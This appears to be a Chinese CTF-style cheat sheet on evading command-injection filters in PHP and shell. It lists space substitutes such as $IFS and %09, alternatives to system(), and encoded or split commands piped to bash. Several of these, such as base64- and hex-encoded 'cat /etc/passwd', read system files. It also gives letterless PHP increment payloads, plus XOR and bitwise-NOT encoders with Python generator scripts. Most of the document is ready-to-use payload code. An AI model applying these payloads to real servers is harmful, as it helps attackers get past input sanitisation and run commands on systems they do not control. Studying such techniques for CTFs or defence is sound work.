绕过空格
1
| $IFS` `${IFS}` `$IFS$9` `%09` `<、>` `<>` `{,}
|
以上符号均可对空格进行绕过,注:<>为重定向符
举例:cat$IFS$9flag、{cat,flag}
system函数替换
passthru()
:执行命令并直接传递原始输出,适用于处理二进制数据
exec()
:执行命令并将输出捕获到数组中,适用于需要处理或操作输出的情况
shell_exec()
:执行命令并将整个输出作为字符串返回,适用于需要获取完整输出并进一步处理的情况
popen()
:打开一个进程管道,可以读写命令的输出或输入,适用于需要与进程交互的情况
proc_open()
:不仅可以执行命令,还能创建一个进程并提供对该进程的标准输入、标准输出和标准错误流的访问
pcntl_exec()
:一个底层函数,用于在当前进程空间中执行一个程序。这意味着调用 pcntl_exec()
后,当前 PHP 脚本会被替换为新执行的程序,不会返回到 PHP 脚本继续执行
var_dump(``)
:使用反引号/$()进行命令执行,使用该函数进行回显
printf(``)
:使用反引号/$()进行命令执行,使用该函数进行回显
函数名 |
描述 |
输出方式 |
是否返回输出 |
输入输出交互 |
适用场景 |
system() |
执行命令并输出结果 |
直接输出 |
返回最后一行输出 |
否 |
执行命令并立即查看结果 |
passthru() |
执行命令并传递原始输出 |
直接输出 |
否 |
否 |
处理二进制数据或大输出 |
exec() |
执行命令并捕获输出 |
不输出 |
返回最后一行输出 |
否 |
捕获输出到数组进行处理 |
shell_exec() |
执行命令并返回输出 |
不输出 |
返回整个输出 |
否 |
获取完整输出作为字符串 |
popen() |
打开进程管道进行读/写 |
通过管道 |
否 |
是 |
需要与子进程交互 |
proc_open() |
打开进程并提供管道 |
通过管道 |
否 |
是 |
复杂的进程控制和交互 |
pcntl_exec() |
替换当前进程并执行命令 |
不输出 |
否 |
否 |
完全替换当前进程 |
反引号(``) |
执行命令并返回输出 |
不输出 |
返回整个输出 |
否 |
获取完整输出作为字符串 |
$() |
执行命令并返回输出 |
不输出 |
返回整个输出 |
否 |
获取完整输出作为字符串 |
printf() |
格式化并输出字符串 |
直接输出 |
否 |
否 |
格式化输出 |
var_dump() |
输出变量的详细信息 |
直接输出 |
否 |
否 |
调试输出变量信息 |
ls命令替换
可以使用 echo
命令和通配符 *
列出当前目录下的文件和目录。
1 2
| $output = `echo *`; echo $output;
|
stat
命令可以获取文件或目录的详细信息,可以用来实现类似于 ls
的功能。
1 2
| $output = `stat *`; echo $output;
|
使用PHP 内置函数 scandir()
1 2 3 4 5 6
| <?php $files = scandir('.'); foreach ($files as $file) { echo $file . "\n"; } ?>
|
使用PHP 内置函数 opendir()
和 readdir()
1 2 3 4 5 6 7 8
| <?php if ($handle = opendir('.')) { while (false !== ($entry = readdir($handle))) { echo "$entry\n"; } closedir($handle); } ?>
|
du命令
Windows 常见管道符:
|
:管道符,直接执行后面的语句。
||
:逻辑或,如果前一个命令执行失败,则执行后面的命令。
&
:并行执行,允许同时执行两个命令,并且不管第一个命令是否成功。
&&
:逻辑与,如果前一个命令执行成功,则执行后面的命令。
Linux 常见管道符:
;
:命令分隔符,用于分隔多个命令,按照顺序执行。
|
:管道符,显示后面语句的执行结果。
||
:逻辑或,如果前一个命令执行失败,则执行后面的命令。
&
:在后台执行,允许同时执行两个命令,不阻塞当前 shell,可以继续输入其他命令。
&&
:逻辑与,如果前一个命令执行成功,则执行后面的命令。
变量拼接绕过
1 2
| a = c ; b = a ; c = t ; echo $a$b$c //cat
|
base编码绕过
1 2
| echo 'cat' | base64 // Y2F0wqAK echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash // cat /etc/passwd
|
hex编码绕过(十六进制)
1 2
| echo "636174202F6574632F706173737764" | xxd -r -p | bash // hex编码后的0x不需要输入。
|
oct编码绕过(八进制)
1
| $(printf "\154\163") //ls
|
字符拼接绕过
1 2 3 4 5 6 7 8 9
| (sy.(st).em)(whoami);
c''a''t /etc/passwd //单引
c""a""t /etc/passwd //双引
c\``a``t /etc/passwd //反单引
c\a\t /etc/passwd //反斜线
|
$* 和 $@,$x (x 代表 1-9), ${x} (x>=10),比如ca${21}t a.txt表示cat a.txt,在没有传入参数的情况下,这些特殊字符默认为空
未初始化变量$u绕过
“/”绕过
利用“;”拼接命令绕过
chr(47)
通配符绕过
1 2 3
| ca? flag //?代表一个字符通配
c* f* //* 代表多个字符通配
|
glob通配符
“ [A-Fa-f0-9] ”相当于 " [ABCDEFabcdef0123456789] "
“ [-%] ”代表“ [!”#$%] ”
“ [az] ”代表“任何 小写字母”
利用[@-[]来表示大写字母
[…]表示匹配方括号之中的任意一个字符
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
自增绕过
$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
1 2
| "A"++ ==> "B" "B"++ ==> "C"
|
也就是说,如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母。 那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。
$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php $_=[].''; $___ = $_[$__]; $__ = $___; $_ = $___; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___ .= $__; $___ .= $__; $__ = $_; $__++;$__++;$__++;$__++; $___ .= $__; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; $___ .= $__; $__++;$__++; $___ .= $__; $__ = $_; $____ = "_"; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____ .= $__; $__ = $_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____ .= $__; $__++;$__++;$__++;$__++; $____ .= $__; $__++; $____ .= $__; $_ = $$____; $___($_[_]);
|
异或绕过
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| def encode(command): code = "~`!@#$%&*()-=+_[]{};:<>,.?/|" result_1 = "" result_2 = "" for x in command: if not command.isalpha(): result_1 += x result_2 += x for y in code: if chr(ord(x) ^ ord(y)) in code: result_1 += y result_2 += chr(ord(x) ^ ord(y)) break return f'("{result_1}" ^ "{result_2}")' a=encode('ls') print(a) PYTHON
import string from urllib.parse import quote keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) results = [] for i in keys: for j in keys: asscii_number = i^j if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): if i < 32 and j < 32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i < 32 and j >=32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i >= 32 and j < 32: temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) else: temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) results.sort(key=lambda x:x[1], reverse=False) for low_case in string.ascii_lowercase: for result in results: if low_case in result: print(result[0]) for upper_case in string.ascii_uppercase: for result in results: if upper_case in result: print(result[0])
|
取反绕过
1 2 3
| <?php echo urlencode(~'phpinfo'); ?>
|
先将命令进行取反然后上传的时候添加一个~符号,在服务器上再次进行取反操作
则phpinfo(); => (~‘%8F%97%8F%96%91%99%90’)();
文件读取命令替换
1 2 3 4 5 6 7 8 9 10
| cat--由第一行开始显示内容,并将所有内容输出 tac--从最后一行倒序显示内容,并将所有内容输出 more-- 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head-- 只显示头几行 tail --只显示最后几行 nl --类似于cat -n,显示时输出行号 tailf-- 类似于tail -f vim --使用vim工具打开文本 vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出
|